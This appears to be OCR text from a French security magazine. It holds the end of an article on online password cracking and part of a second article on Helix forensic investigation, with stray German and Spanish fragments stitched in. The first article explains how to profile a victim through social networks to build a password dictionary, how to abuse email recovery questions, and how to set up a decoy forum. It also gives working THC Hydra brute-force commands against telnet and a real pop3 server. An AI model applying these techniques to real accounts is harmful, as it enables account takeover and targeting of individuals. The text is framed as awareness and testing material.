aux personnes qui le gèrent.

Si le savoir concerne le système, le 
service, le serveur, le logiciel ou l'appareil 
dont le mot de passe nous voulons 
voler, nous pouvons utiliser ce savoir de 
manière suivante en créant le dictionnaire 
de mots de passe potentiels :

•  sachant que l'application créée à la 
commande s'appelle par exemple 
GigaWebAdmin, nous pouvons 
ajouter au dictionnaire de mots 
de passe probables les logins 
et les mots de passe suivants : 
gigawebadmin:gigawebadmin, 
admin:gigawebadmin, administrator:
gigawebadmin, etc. ; il est également 
conseillé de tester les mots de passe 
contenant un chiffre au début  
et à la fin, tels que gigawebadmin1  
et 1gigawebadmin,

•  si le système, dont le mot de 
passe nous voulons voler, propose 

une interface Web permettant 
d'enregistrer un nouvel utilisateur, il est 
conseillé de faire sa connaissance : 
elle pourra être une source 
d'informations précieuses relatives 
aux exigences et aux limites des 
mots de passe. Grâce à cette 
information, nous pouvons par 
exemple apprendre que les mots  
de passe des utilisateurs du système 
doivent contenir au moins un chiffre. 
Nous pourrons donc ensuite modifier 
le dictionnaire de mots de passe 
probables de sorte que toutes les 
entrées contiennent un chiffre au 
début ou à la fin (c'est la manière 
la plus probable utilisée par les 
utilisateurs pour remplir les exigences 
du système),

•  si nous avons des informations 
sur l'entreprise qui implémente le 
système donné, elles peuvent aussi 
être d'une grande aide. Si l'entreprise 
s'appelle par exemple Giga Web Soft , 
l'intrus peut ajouter au dictionnaire 
les logins et les mots de passe 
suivants : gigawebsoft:gigawebsoft , 
gigawebsoft:gigawebsoft1, gws:gws, 
gws:gws1, etc. ; il est fort probable que 
les développeurs ont créé pour eux-
mêmes un compte d'administrateur 
protégé par un mot de passe simple 
à retenir pour la durée de la mise en 
place. Les administrateurs peuvent en 
revanche oublier de désactiver ou de 
supprimer un tel compte.

Si nous avons des informations  
sur la personne dont le mot de  
passe au service donné nous 
voulons hacker, la situation est plus 
intéressante. En créant un dictionnaire 
de mots de passe potentiels, nous 
pouvons alors essayer de nous  
servir des faits suivants :

•  si nous connaissons les données 
personnelles du propriétaire du 

compte, nous pouvons ajouter des 
suites de caractères liés à son 
prénom ou nom ou sa date de 
naissance à la liste de mots de 
passe probables.

•  Si nous avons des informations 
sur les personnes proches du 
propriétaire du compte, nous 
pouvons vérifier les mots de passe 
liés aux données personnelles de 
l'épouse/l'époux, d'un(e) ami(e), etc.

•  certains utilisateurs savent que les 
données personnelles de leurs 
proches peuvent être trop faciles  
à deviner, ils choisissent donc pour 
leur mot de passe une suite de 
caractères liés aux faits connus pour 
un nombre restreint de personnes, 
par exemple, les prénoms des 
animaux domestiques, le nom de 
l'endroit préféré ou le prénom du 
premier amour de la période de 
l'école élémentaire.

Bien évidemment, il est conseillé de 
tester même ces combinaisons avec 
un chiffre au début et à la fin car c'est 
toujours la manière la plus fréquente de 
diversifier les mots de passe.

Il arrive souvent toutefois que l'intrus 
ne connaît pas bien la personne dont le 
compte il veut visiter. Il est possible d'avoir 
le prénom et le nom de l'administrateur du 
système informatique donné, du serveur 
ou de l'appareil réseau (nous pouvons 
parfois trouver ces informations sur le 
site Web de l'entreprise en question !) 
mais de n'avoir aucune autre donnée 
personnelle ni aucune information liée à 
la vie privée de cette personne. Il existe 
toutefois des méthodes permettant 
de faire connaissance des personnes 
complètement inconnues...

un (in)connu
Imaginons que nous avons réussi à 
trouver le prénom et le nom du propriétaire 
du compte dont le mot de passe nous 
cherchons. Comment créer un dictionnaire 
de mots de passe potentiels, contenant 
les mots de passe par défaut et le plus 
souvent employés ainsi que les suites 
avec des données personnelles de 
cette personne et de ses amis ? Il suffit 
de visiter les réseautages sociales (en Abbildung 6. Ein dezentral organisiertes Netzwerk (TCP/IP).
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anglais social network services), telles 
que Copains d'avant. Les portails de 
ce type permettent de rencontrer des 
contacts intéressants, de connaître des 
nouvelles personnes et de renouveler des 
connaissances d'avant. Malheureusement, 
pour que les autres puissent nous retrouver, 
nous sommes obligés de partager de 
nombreuses informations à notre sujet. Si 
nous ne connaissons que le prénom et le 
nom du propriétaire du compte attaqué 
et supposons qu'il fait partie des portails 
sociaux, nous pouvons recueillir une série 
de mots de passe potentiels. Premièrement, 
si la recherche retourne de nombreux 
utilisateurs avec le même prénom et nom, 
il faut déterminer de quel profil il s'agit. 
Nous pouvons nous focaliser alors sur le 
lieu de domicile (près de l'entreprise où la 
personne travaille) et la description de ce 
qu'elle fait comme travail. Si nous identifions 
le compte approprié sur le portail, nous 
pouvons recueillir de nombreux mots de 
passe potentiels d'après l'analyse du profil 
et de ses connaissances. À titre d'exemple, 
les mots de passe potentiels ainsi définis 
peuvent être les suivants :

•  pseudo de l'école,
•  nom de jeune fille (il arrive que les 

femmes mariées utilisent leur nom 
de jeune fille en tant que mot de 
passe pensant que peu de gens 
le connaissent dans leur nouvel 
environnement),

•  numéro de téléphone,
•  prénom de l'animal domestique 

préféré (si quelqu'un a un animal 
domestique, il a peut-être publié sa 
photo avec son prénom),

•  nom du lieu préféré (nous parcourons 
la galerie de photos à la recherche 
des photos avec une description 
adéquate),

•  données personnelles du meilleur 
ami ou d'une copine de l'enfance 
(nous parcourons la galerie de 
photos sentimentales avec des 
commentaires),

•  numéro de  la plaque 
d'immatriculation (ou marque/modèle) 
de la voiture, de la moto, etc. (il arrive 
que les utilisateurs publient dans les 
galeries les photos des véhicules 
qu'ils possèdent),

•  données personnelles des proches 
(époux/épouse, frères et soeurs, 
enfants) et des amis.

Afin de déterminer lesquels de contacts 
de la personne en question appartiennent 
à ses proches, il suffit en général 
d'analyser la galerie de photos et leurs 
descriptions et commentaires ajoutés au 
profil et photos par d'autres utilisateurs 
du portail. Lorsque nous avons déterminé 
le groupe de personnes proches, nous 
pouvons ajouter toutes les catégories de 
données susmentionnées (déterminées 
respectivement pour chaque personne) 
à la liste de mots de passe probables. 
Comme d'habitude, une bonne idée 
consiste à ajouter des combinaisons 
contenant un chiffre au début et à la fin de 
la suite, il est également conseillé d'ajouter 
des combinaisons écrites à l'envers. Tout 
dépend bien évidemment à quel degré 
notre dictionnaire de mots de passe 
probables doit être restreint (par exemple, 
en raison des limites appliquées sur le 
système donné concernant le nombre de 
connexions pendant une période définie). 

Si nous disposons d'autres données 

relatives au propriétaire du compte, 
il est possible aussi d'utiliser d'autres 
techniques pour recueillir des informations 
sur les mots de passe probables. Si par 
exemple nous connaissons l'adresse 
e-mail privée du propriétaire du compte 
attaqué, ouvert sur un serveur public, nous 
pouvons profiter de cette information. Il 
suffit d'utiliser le formulaire qui sert  
à récupérer un mot de passe oublié de 
la boîte e-mail. Si la question permettant 
de récupérer le mot de passe est assez 
simple (par exemple, le prénom de mon 
chien, le prénom de mon premier amour), 
nous pourrons peut-être récupérer le mot 
de passe de la boîte car nous avons le 
plus probablement trouvé les réponses  
à ces questions sur le portail social. Si 
nous sommes chanceux, le mot de passe 
du compte attaqué sera identique ou très 
similaire au mot de passe récupéré dans 
la boîte de messages électroniques. Ce 
n'est pas un secret que de nombreuses 
personnes utilisent toujours les mêmes 
mots de passe (ou très similaires). Même 
si le mot de passe du compte cible est 
différent, nous pouvons au moins avoir 
l'idée de mots de passe que la personne 
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utilise. Si nous réussirons à accéder 
(par exemple, à distance) à l'ordinateur 
utilisé par la personne en question, 
récupérer les informations sur les mots 
de passe employés est encore plus 
simple. Il suffit que l'intrus cracke le mot 
de passe du compte de cette personne 
dans le système Windows au moyen de 
la distribution Linux prévue à cet effet : 
Ophcrack. Il est également possible de 
découvrir les mots de passe employés 
dans les messageries instantanées. Tous 
ces points faciliteront bien évidemment  
à l'intrus de définir de manière précise les 
mots de passe potentiels lors de l'attaque 
du compte cible de l'utilisateur.

Afin de connaître les exemples 
de mots de passe employés par la 
personne analysée, l'intrus peut se 
servir des méthodes sociotechniques 
avancées. À titre d'exemple, s'il connaît 
les centres d'intérêt de la personne 
attaquée (le portail social est de nouveau 
très utile), il peut lui envoyer une invitation 
pour ouvrir un profil dans un forum 
thématique spécialement préparé. Cette 
démarche permettra d'apprendre quel 
type de mot de passe la personne utilise.

Comme vous pouvez le constater, 
un intrus ingénieux dispose de toute une 
gamme de possibilités pour déterminer 
une liste de mots de passe potentiels 
employés par la victime. Pour conclure la 
procédure d'attaque du type online que je 
propose, j'ai créé un schéma selon lequel 
l'intrus peut procéder à l'attaque (Figure 3).

Les exemples présentés ne 
constituent que quelques idées, 
les possibilités dans ce cadre sont 
quasiment illimitées. Après un processus 
fatigant pour créer un tel dictionnaire, il ne 
nous reste qu'à tester son efficacité.

Hydre fouinard
Munis du dictionnaire de mots de passe 
potentiels créé auparavant pour le système 
ou le service à cracker, il ne nous reste qu'à 
passer à l'attaque à proprement parler. 
Dans le cas d'attaques du type    online, 
le dictionnaire préparé peut contenir de 
plusieurs centaines jusqu'à plusieurs 
milliers d'entrées. Créer des dictionnaires 
plus grands n'a pas en général de sens 
en raison des limites susmentionnées 
présentes dans ce type d'attaques. Malgré 

cela, vérifier à la main toutes les possibilités 
via la méthode de la tentative manuelle 
de connexion au service distant n'a aucun 
sens. Dans les cas extrêmes, le processus 
durerait trop longtemps et il est possible de 
faire des erreurs en saisissant les mots de 
passe à la main. Par conséquent, la tentative 
serait peu crédible et prendrait beaucoup 
de temps. À cette étape, il faut donc opter 
pour un outil permettant d'effectuer des 
tentatives automatiques de connexion à des 
systèmes et services différents selon la liste 
de mots de passe donnée.

Il s'avère qu'un outil parfait pour ce 
faire a été créé par un groupe allemand 
de hackers agissant sous le nom de  
THC (en anglais The Hacker's Choice). 
THC Hydra est un programme 
permettant de tester assez rapidement 
les mots de passe à de nombreux 
services dif férents. Cet outil supporte 
plusieurs dizaines de protocoles dont les 
plus importants sont :

•  telnet,
•  ftp,
•  http,
•  https,
•  smb,
•  ms-sql,
•  mysql,
•  rsh,
•  snmp,
•  vnc,
•  pop3,
•  imap,
•  Cisco auth,
•  Cisco enable,
•  Cisco AAA.

Je pense qu'analyser tous les paramètres 
du programme n'a aucun sens. À la place, je 
propose de faire connaissance de plusieurs 
exemples d'une utilisation pratique de l'Hydre. 
Pour chacun des exemples présentés, nous 
sommes partis du principe que la liste 
de mots de passe potentiels du système 
attaqué avait été préparée à l'avance et 
enregistré dans le fichier slownik.txt.

Imaginons que notre objectif consiste 
à hacker le mot de passe du routeur Cisco 
que nous avions identifié auparavant 
à l'aide du scanneur Nmap. Le scan 
a démontré que cet outil permettait 
notamment à établir des connexions sur le 

23 port  TCP, donc il permettait une gestion 
texte via le protocole telnet. Afin de faire 
une tentative de hacker le mot de passe 
au compte par défaut appelé   cisco, il 
suffit de lancer l'Hydre avec les paramètres 
suivants : hydra adres_IP_celu telnet -s 23 
-v -l cisco -P /slownik.txt -e ns -t 36 (Figure 4).  
Le fichier de mots de passe potentiels 
utilisés dans ce cas-là contenait les mots 
de passe par défaut rencontrés dans 
le cas des appareils Cisco et plusieurs 
mots de passe employés le plus souvent. 
Au bout de quelques secondes, l'Hydre a 
terminé son travail en affichant le mot de 
passe trouvé pour le compte cisco. Dans 
ce cas, l'administrateur n'a pas supprimé 
le compte par défaut et n'a pas modifié 
le mot de passe y lié, ce qui a permis 
de déterminer à l'intrus les données 
permettant à se connecter au système. 
Comme vous pouvez le constater, il n'est 
pas difficile de gérer le programme Hydre. 
La signification de tous les paramètres 
d'appel est la suivante :

•  telnet – type du service pour lequel 
nous voulons tester les mots de 
passe,

•  -s 23 – numéro du port,
•  -l cisco – login pour lequel nous 

voulons tester les mots de passe,
•  -p /slownik.txt – mots de passe ou 

fichier avec une liste de mots de 
passe que nous voulons tester,

•  -e ns – activation du test des mots 
de passe vides ou identiques avec le 
login,

•  -t 36 – nombre de connexions 
simultanées au service attaqué.

Les concepteurs de cet outil ont opté pour 
une simplicité de gestion et ils ont même 
créé un patch graphique appelé HydraGTK. 
Dans ce cas-là, l'attaque avec une liste 
de mots de passe préparée auparavant 
se ramène à compléter les champs 
appropriés dans plusieurs onglets du 
programme et de charger la liste de mots 
de passe probables. En testant le patch 
graphique, j'ai effectué une attaque sur le 
service telnet travaillant dans l'imprimante 
réseau de l'entreprise HP. Sachant que le 
compte intégré s'appelle dans ce cas-là 
admin, j'ai commencé l'attaque. L'Hydre  
a déterminé de nouveau les données per- 
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mettant de se connecter à l'imprimante. Il 
s'est en effet avéré que le compte n'avait été 
protégé par aucun mot de passe (Figure 5).

Un autre exemple des fonctionnalités 
exceptionnelles de l'Hydre que je voudrais 
présenter en ensemble consiste à hacker 
le compte de la messagerie électronique 
disponible via le protocole pop3. Je 
suppose que l'intrus ne connaît que le 
nom du compte (jan.tajny – j'ai créé le 
compte à des fins du test) et le domaine 
(o2.pl). Il faut ici commencer par déterminer 
l'adresse IP du serveur de messagerie. 
Pour ce faire, il suffit de faire la commande 
ping poczta.o2.pl dans n'importe 
quel système d'exploitation. Le résultat de 
la commande doit contenir notamment 
l'adresse qui nous intéresse, donc la valeur : 
193.17.41.99. L'étape clé suivante consiste 
à générer le dictionnaire de mots de 
passe probables. Imaginons que l'intrus, 
qui connaît les types de mots de passe le 
plus souvent utilisé, a créé un dictionnaire 
contenant les mots de passe potentiels 
suivants (en se basant uniquement sur le 
nom du compte) :

•  jan.tajny,
•  tajny.jan,
•  jan.tajny1,
•  1jan.tajny,
•  tajny.jan1,
•  1tajny.jan,
•  jantajny,
•  tajnyjan,
•  jantajny1,
•  1jantajny,
•  tajnyjan1,
•  1tajnyjan.

Avec le dictionnaire de mots de passe 
potentiels préparé, il suffit de lancer 
l'Hydre avec les paramètres appropriés : 

hydra 193.17.41.99 pop3 -s 110 -v 

-l jan.tajny -P /slownik.txt -t 1 

-f. La signification des commutateurs est 
la même que dans l'exemple précédent. 
Cette fois-ci, nous attaquons le protocole 
pop3, autrement dit, le port 110/TCP. Les 
nouveautés sont deux : le nombre de 
tentatives (on peut dire, le nombre des têtes 
de l'hydre) des connexions simultanées 
restreint à une seule et le commutateur -f, 
qui force de terminer une opération après 
la première tentative réussie de connexion. 
L'objectif de tout cela consiste bien 
évidemment à éviter de bloquer la tentative 
lorsque nous dépassons les limites 
mises en place par le serveur distant sur 
le nombre de tentatives de connexions 
simultanées et répétées pendant une 
période définie. Avec le dictionnaire, l'Hydre 
réussira rapidement à trouver le mot de 
passe du compte et en informera avec un 
message adéquat :

[110] [pop3] host: 193.17.41.99

   login: jan.tajny   password:

 1jan.tajny.

Je n'ai présenté que trois exemples de 
l'utilisation pratique de l'Hydre. Si nous 
regardons toutefois la liste imposante de 
protocoles supportés par le programme, il 
est facile d'imaginer que peuvent faire des 
intrus ingénieux. Ce programme permet de 
tester les sites Web protégés par un mot de 
passe, il supporte les protocoles chiffrés, de 
messageries et de bases de données et 
ce n'est qu'une partie de ses fonctionnalités. 
L'Hydre est donc actuellement l'un des 
outils les plus menaçants utilisés par des 
hackers. Les administrateurs de systèmes 
informatiques pourraient eux aussi 
apprivoiser l'Hydre car ce programme 
est un outil précieux pour détecter les 

mots de passe faibles ou potentiellement 
dangereux, laissés quelque part dans 
les coins sombres des appareils et des 
programmes qu'ils administrent.

Conclusion
Pour terminer, je dois vous parler d'une 
chose importante. Les méthodes 
présentées pour trouver les mots de 
passe aux systèmes informatiques 
distants peuvent être employées 
légalement uniquement pour tester les 
faiblesses de nos propres systèmes ! 
Obtenir un accès aux systèmes 
informatiques étrangers est puni par la 
prison. Il ne faut donc en aucun cas utiliser 
les procédures présentées pour accéder 
aux réseaux et aux ordinateurs qui ne sont 
pas les nôtres.

J'espère que j'ai réussi à attirer 
l'attention des administrateurs sur la 
grande menace des mots de passe par 
défaut laissés et des mots de passe 
faciles à deviner. Tester les mots de passe 
par défaut et profiler les propriétaires de 
comptes pour créer une liste de mots de 
passe potentiels qu'ils utilisent sont bien 
évidemment des méthodes d'attaques 
des mots de passe pour les systèmes 
distants. Les attaques consistant à 
écouter les transmissions et les méthodes 
de plus en plus populaires du type man 
in the middle constituent des exemples 
d'autres techniques pour cracker les mots 
de passe  « online ». Mais c'est un sujet 
pour un article à part.

Il ne faut donc jamais oublier que les 
criminels informatiques connaissent les 
faiblesses humaines et en profiteront sans 
aucun état d'âme. De plus, il s'agit souvent 
de spécialistes qualifiés dans le domaine 
des protections techniques d'informations. 
Paradoxalement les outils qu'ils emploient, 
tels que THC Hydra, peuvent servir aux 
administrateurs pour se protéger contre les 
intrus car ils permettent de tester soi-même 
les faiblesses des systèmes administrés.

Karmic Koala VS Snow Leopard
Cada vez que aparece una 
nueva versión de Ubuntu, es 
decir cada seis meses, algunos 
sitios y revistas especializadas 

Sur le Net
•  http://nmap.org – Nmap,
•  http://www.phenoelit-us.org/dpl/dpl.html – Phenoelit 's Default Password List,
•  http://www.cirt.net/cgi-bin/passwd.pl – CIRT's Default Password List,
•  http://www.virus.org/default-password – Default Password Database,
•  http://www.openwall.com/passwords/wordlists/password.lst – les mots de passe le plus 

souvent utilisés
•  http://ophcrack.sourceforge.net – Ophcrack,
•  http://freeworld.thc.org – The Hacker's Choice Group,
•  http://freeworld.thc.org/thc-hydra – THC Hydra.
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PRATIQUE

A l'heure actuelle, il existe de nombreuses 
sociétés qui permettent de traiter avec 
un professionnel afin de répondre à une 

intrusion dans un système. Le professionnel qui 
est généralement un expert, va par le biais de 
ses compétences pouvoir analyser le système, 
collecter et sauvegarder tous renseignements qui 
serviront par la suite comme éléments de preuve 
devant le tribunal.

Dans le milieu du computer forensic, il existe 
deux grosses sociétés qui se sont implanter dont 
AccessData, qui à produit le logiciel Forensic Toolkit, 
ainsi que la société Guidance avec le logiciel 
Encase Field Intelligence Model.

Cependant ces deux logiciels sont extrêmement 
chéres (compter plus de 3 à 4 milles euros chaque 
logiciels) et ils sont principalement destinés aux 
forces de l'ordre ou à tout autre organisme de 
lutte anti-cybercriminalité qui est accrédité par le 
gouvernement.

Lorsque l'intrusion informatique touche les 
petites et moyennes entreprises, il est généralement 
difficile pour des raisons financières de faire appel 
à ces logiciels, surtout si les pertes éventuelles sont 
inférieures au prix de l'investigation. Néanmoins, les 
petites entreprises ainsi que les utilisateurs victimes 
de tels méfaits, peuvent se tourner vers des  solutions 
open-source qui offrent un panel d'outils nécessaires 
dans l'investigation forensic.

Pierre Therrode

Cet artiCle 
explique...
• Ce qu'est helix

• Comment mener une 
investigation

Ce qu'il faut savoir...

• Connaître Linux

• Être capable de travailler en 
mode console 

Pour cela, la société e-fense à développé le 
logiciel Helix qui est capable de répondre à de tels 
besoins. 

Il est à noté, que ce système est de plus en plus 
utilisé dans les centres de formations spécialisés 
(e-fense Training, C.H.F.I, SANS 508, etc...)

Avant de continuer la lecture de cet 
article, j'invite le lecteur néophyte à prendre 
connaissance de l'article de Konrad Zuwala qui 
traite de l'analyse après l'attaque

la prise en main
Comme énoncé plus haut, Helix est un ensemble 
d'outils spécialisés dans l'investigation forensic 
et de ce fait, il permet de mener à bien des 
enquêtes liées à la criminalité informatique. 
L'avantage majeur de ce produit, est qu'il est 
entièrement gratuit (sauf pour les versions "pro"  
et "entreprise", car il utilise la licence EULA).

Certes,  il est vrai que les outils commerciaux 
distribués par AccessData et Guidance 
présentent des outils plus pointus, mais le recours 
à Helix permet de réduire considérablement les 
coûts d'une telles investigations.

Concernant la configuration matériel 
nécessaire, cette distribution peut être utilisée en 
mode console avec un  processeur x86 et 48 Mo 
de mémoire. Pour ce qui est du mode graphique, 
l'interface bureautique XFCE fourni avec Helix  

Degré de difficulté

Helix,  
réponse à une 
intrusion
Avec l'ère de l'internet, nous sommes tous conscients d'être  
des cibles potentielles pour les pirates. en effet, la criminalité 
sur le net est de plus en plus présente dans cette nouvelle 
perspectives de technologies, les intrusions dans un système 
touchant aussi bien les simples utilisateurs que les entreprises.
Toutefois, il est possible que de tels agissements puissent être 
sauvegardés afin de les analyser comme éléments de preuves.
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a besoin d'au minimum d'un  processeur 
Pentium et 128 Mo de RAM.

Enfin, le recours au live CD fonctionne 
sans aucun soucis avec un processeur 
Pentium II 300 MHz et 256 Mo de RAM. 

Bien entendu, le système est capable 
de reconnaître bon nombres de supports 
externes qui composent un ordinateur.

Il est à noter que la suite d'outils Helix 
1.9 est basé sous Ubuntu et qu'il peut 
être installer sur le disque dur grâce au 
script knx2hd, mais que l'utilisation du 
live CD lors d'une investigation est plus 
recommandée.

Outre le recours au live CD, l'une 
des forces principales de Helix, est qu'il 
peut être lancé depuis une session 
Windows. En effet, une fois le CD inséré 
dans le lecteur, la suite Helix s'exécute 
avec une fenêtre d'alerte qu'il faut avant 
tout accepter. Une fois que vous avez 
sélectionné votre langage et approuvé 
les termes, une nouvelle fenêtre s'affiche 
avec les outils prês à l'emploi, comme le 
montre la figure 1.

Cette première utilisation permet 
entre autre de diagnostiquer les 
premières pistes suite au passage 
d'un pirate, grâce à des outils comme 
WinAudit qui permet de regrouper toutes 
les caractéristiques de l'ordinateur, 
Wimen qui permet d'acquérir une 
image de la mémoire RAM, ou encore 

divers outils allant de la récupération 
de données volatiles (Nigilant32) aux 
mots de passes (Mail Password Viewer, 
Network Password Viewer, etc...), ainsi que 
des programmes pouvant rechercher 
dans la base de registre toutes traces de 
modifications (Registre Viewer).

Une fois les premières pistes 
repérées, il faut redémarrer l'ordinateur 
pour  pouvoir utiliser le live CD et ainsi 
continuer l'investigation.

Comme énoncé plus haut, Helix 
offre de nombreux outils d'enquête, 
notamment avec des programmes tels 
que Sleuth Kit avec Autopsie (Figure 2) 
ou encore LinEn. Outre cela, le système 
contient des outils d'analyse spécifiques 
à Windows dont Regviewer ainsi que 
d'autres utilitaires pour pouvant s'adapter 
aussi à Linux, comme par exemple des 
logiciels antivirus ou anti-rootkit.

Afin de pouvoir analyser le contenu du 
disque, dans l'espoir de pourvoir trouver 
des pistes et sans pour autant modifier 
le modifier, Helix possède des utilitaires 
pouvant analyser l'image d'un disque.

Concernant l'acquisition d'une image 
média, il est possible de l'extraire à 
distance. Ce qui dans certains cas peut 
être intéressant car si le système attaqué 
contient un programme malveillant, cela 
peut éviter toute intervention de celui-ci.

Pour réaliser une image du 
disque, l'utilisateur peut tirer profit de la 
puissance de certains outils, dont:

• Adepto, qui est un outil permettant 
d'obtenir assez rapidement une 
image conforme au disque, tout en 
"capturant" les éventuelles erreures 
de système ainsi que les fichiers 
corrompus (Figure 3).

• LinEn, est un outils développé par 
la société Guidance Software (cette 

Figure 1. Aperçus du menu

Figure 2. Aperçus de Autopsie
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même société qui a développée le 
logiciel Encase) et qui permet d'obtenir 
au même titre que Adepto, une image 
du disque dur (Figure 4).

Une fois l'image du disque acquise, 
l'analyse de son contenu peut commencer 
en recherchant toute(s) trace(s) de 
l'intrusion, tous les fichiers cachés, ainsi 
que les moindres détails qui pourraient 
influencer les recherches.  L'analyse des 
logs (ce que nous verrons plus loin)  
à également son importance, car cela 
permet d'obtenir le maximum d'information 
sur le type d'attaque ainsi que sur les 
méthodes employés. Toutes ces traces 
peuvent mener à l'origine de l'attaque.

Dans le même ordre d'idée, le logiciel 
Retriever permet de rechercher les fichiers 
les plus couramment utilisés, tels que les 
images, les vidéos, documents textes, 
ainsi que les mails.

Outre le fait de pouvoir analyser le 
système Linux et Windows, Helix possède 
un outils nommé Macinthos HFS 
permettant de pouvoir analyser le système 
Mac (Figure 5).

Enfin, le logiciel Registry Viewer, 
permet de consulter la base de registre 
du système Windows et le logiciel  Bless 
Hex Editor est un logiciel Hexadécimal 
permettant une analyse plus approfondi 
du système.

l'investigation  
en elle même
Toutes investigations nécessite de 
prendre des précautions en matière de 
manipulations et de choix des outils. Lors 
de la collecte de preuves, il ne faut pas 
laisser le moindre indice suspect de coté 
car cela peut renseigner sur les méthodes 
utilisées par le pirate (été-t-il presser ?, 
quel outils a t-il utilisé ?, l'attaque venait-
elle de l'intérieure ou de l'extérieure ?, etc...).

L'investigation en elle même, se 
déroule en quatre étapes: 

• l'identification
• la collecte de données
• l'analyse
• le bilan

Inspection du disque  
et des connexions
Avant tout, il est primordial de savoir 
sur quel système l'investigation à lieu, 
sur quel type de disque (FAT, NTFS, ufs, 
f fs, ext2/ext3, reiserfs, etc...) ainsi que la 
taille de la partition. Ces renseignements 
serviront par la suite à collecter au mieux 
les informations présent sur le média.  
Il est sans rappeler qu'avant tout procéder, 
il est judicieux de faire une copie du 
disque, et de le garder sur un autre 
support amovible (disque dur externe,  
clé USB, etc...).

Pour mener à bien cette enquête,  
il nécessaire de procéder à l'analyse  
du contenu du disque et du réseau avec 
des commandes spécifiques qui sont  
les suivantes:

Commande permettant de copier un 
disque pour en savoir un peut plus:

• effectuer une copie sur un média 
annexe, afin de l'analyser plus tard 
avec Adepto: cp-rp répertoire_source

Figure 3. Aperçus du logiciel Adepto

Figure 4. LinEn, l'un des logiciels de Guidance Software 
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• effectuer une copie à distance 
à l'aide de netcat (il est à noté que ce 
procéder est aussi réalisable avec  
la suite de logiciels sous Windows):  
nc -p 1234 -l > Dossier_Cible

• effectuer une copie de la partition: dd 
if =/dev/disque_source = /dev/disque 
_cible

• effectuer une recherche de toutes  
les opération contenu dans la 
mémoire: dd if =/dev/mem of  
=fichier_mémoire

Information sur les adresses et les 
processus:

• lister la gestion des adresses dans les 
processus  mémoires: ps -ealf

• lister les bibliothèques de processus:  
ltrace-p [pid]

• lister les processus en cours 
d'exécution: ps -aux   

      ps -auexww 
• afficher les appels système:  

strace-p [pid]

Information sur le réseau:

• trouver divers informations concernant 
les connexions réseau: netstat -a

• lister les ports ouverts: netstat -an
• lister les ports inhabituellement 

ouverts: netsat -nap, lsof -i
• voir toutes les adresses Mac: arp -a
• capturer le trafic réseau:  

tcpdump -w

• retracer une adresse IP: traceroute 
adresse_IP

Par la suite, il faut lancer une analyse plus 
approfondie du système, tout en prenant 
soin de ne plus se trouver connecté au 
réseau.

Inspection du système
L'une des règles d'or lors d'une investigation 
forensic, est de ne jamais faire confiance 
aux programmes qui sont présents sur 
un système compromis. En effet, un 
programme d'apparence inoffensif peut 
très bien cacher un rootkit ou tout autres 
malwares qui auraient pour fonction, une fois 
exécuté, d'effacer un dossier sensible ou  
à rendre l'étude forensic impossible.

Sous IRIX:
/var/adm/SYSLOG
/var/adm/sulog
/var/adm/utmp
/var/adm/utmpx
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/lastlog/username
/usr/spool/lp/log
/var/adm/lp/lpd-errs
/usr/lib/cron/log
/var/adm/loginlog
/var/adm/pacct
/var/adm/dtmp
/var/adm/acct/sum/loginlog
/var/adm/X0msgs
/var/adm/crash/vmcore
/var/adm/crash/unix

sous AIX:
/var/adm/pacct
/var/adm/wtmp
/var/adm/dtmp
/var/adm/qacct
/var/adm/sulog
/var/adm/ras/errlog
/var/adm/ras/bootlog
/var/adm/cron/log
/etc/utmp
/etc/security/lastlog
/etc/security/failedlogin
/usr/spool/mqueue/syslog

sous SunOS:
/var/adm/messages
/var/adm/aculogs
/var/adm/aculog
/var/adm/sulog

/var/adm/vold.log
/var/adm/wtmp
/var/adm/wtmpx
/var/adm/utmp
/var/adm/utmpx
/var/adm/log/asppp.log
/var/log/syslog
/var/log/POPlog
/var/log/authlog
/var/adm/pacct
/var/lp/logs/lpsched
/var/lp/logs/lpNet
/var/lp/logs/requests
/var/cron/log
/var/saf/_log
/var/saf/port/log

sous Linux:
/var/log/lastlog
/var/log/telnetd
/var/run/utmp
/var/log/secure
/root/.ksh_history
/root/.bash_history
/root/.bash_logut
/var/log/wtmp
/etc/wtmp
/var/run/utmp
/etc/utmp
/var/log
/var/adm
/var/apache/log
/var/apache/logs
/usr/local/apache/log
/usr/local/apache/logs
/var/log/acct
/var/log/xferlog
/var/log/messages

/var/log/proftpd/xferlog.legacy
/var/log/proftpd.access_log
/var/log/proftpd.xferlog
/var/log/httpd/error_log
/var/log/httpd/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/httpsd/ssl.access_log
/etc/mail/access
/var/log/qmail
/var/log/smtpd
/var/log/samba
/var/log/samba-log.%m
/var/lock/samba
/root/.Xauthority
/var/log/poplog
/var/log/news.all
/var/log/spooler
/var/log/news
/var/log/news/news
/var/log/news/news.all
/var/log/news/news.crit
/var/log/news/news.err
/var/log/news/news.notice
/var/log/news/suck.err
/var/log/news/suck.notice
/var/spool/tmp
/var/spool/errors
/var/spool/logs
/var/spool/locks
/usr/local/www/logs/thttpd_log
/var/log/thttpd_log
/var/log/ncftpd/misclog.txt
/var/log/ncftpd.errs
/var/log/auth

Liste des différents log à analyser selon le système
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Pour cela, il est judicieux de lancer  
le système Helix depuis le Live CD  
et d'analyser le système compromis de 
façon annexe (en prenant soin d'avoir au 
par avant réalisé une copie du disque).

Suite à ces manipulations il est 
bon d'examiner logs,  dont certains en 
particulier:

• /var/log/messages, est un fichier 
système qui récupère tout, tels que les 
messages ainsi que les programmes 
qui ont été lancé durant une session.

• /var/log/secure, contient toutes les 
informations de connexions.

• /var/log/maillog, log contenant les 
enregistrements du trafic de courrier 
entrant et sortant. 

• /var/log/spooler, est un fichier 
contenant tous les messages 
d'erreurs des daemons uucp et innd 

• /var/log/boot.log, contient tous les 
messages de démarrage lors du 
lancement du système

Si l'intrusion est présente sur un autre 
système, j'invite le lecteur à prendre 
connaissance de l'encadrer suivant.

IL faut par la suite  continuer 
l'investigation en lançant des logiciels 
antivirus et anti-rookits. On pense alors 
aux programmes comme ClamTk (version 
amélioré de ClamAV) et  XFPROT, dont 
l'utilisation est similaire à un antivirus 

classique (Figure 6), ainsi que les anti-
rootkit comme  chkrootkit et  rkhunter (ne 
l'ayant pas trouvé dans la distribution, je 
conseil tout de même de le télécharger 
pour pouvoir l'utiliser). Pour le lecteur curieux 
d'en savoir plus sur le fonctionnement de 
ClamAV, je l'invite à prendre connaissance 
de l'article de Thomas Kojm paru dans le 
n°21 de Hakin9.

Néanmoins, il ne faut pas avoir une 
confiance aveugle dans les résultats des 

